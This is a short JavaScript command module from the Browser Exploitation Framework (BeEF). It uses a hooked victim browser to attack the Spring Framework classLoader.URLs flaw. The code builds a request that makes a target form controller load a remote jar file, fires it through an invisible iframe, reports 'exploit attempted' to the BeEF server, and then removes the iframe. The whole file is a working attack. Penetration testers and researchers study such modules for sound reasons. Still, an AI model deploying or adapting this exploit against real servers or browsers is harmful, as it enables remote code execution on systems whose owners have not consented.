//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	jar_file        = "<%= @jar_file %>";
	form_controller = "<%= @form_controller %>";

    uri = form_controller+"?class.classLoader.URLs[0]=jar:"+jar_file;
	var spring_iframe = beef.dom.createInvisibleIframe();
	spring_iframe.setAttribute('src', uri);

	beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=exploit attempted");

	cleanup = function() {
		document.body.removeChild(spring_iframe);
	}
	setTimeout("cleanup()", 15000);

});
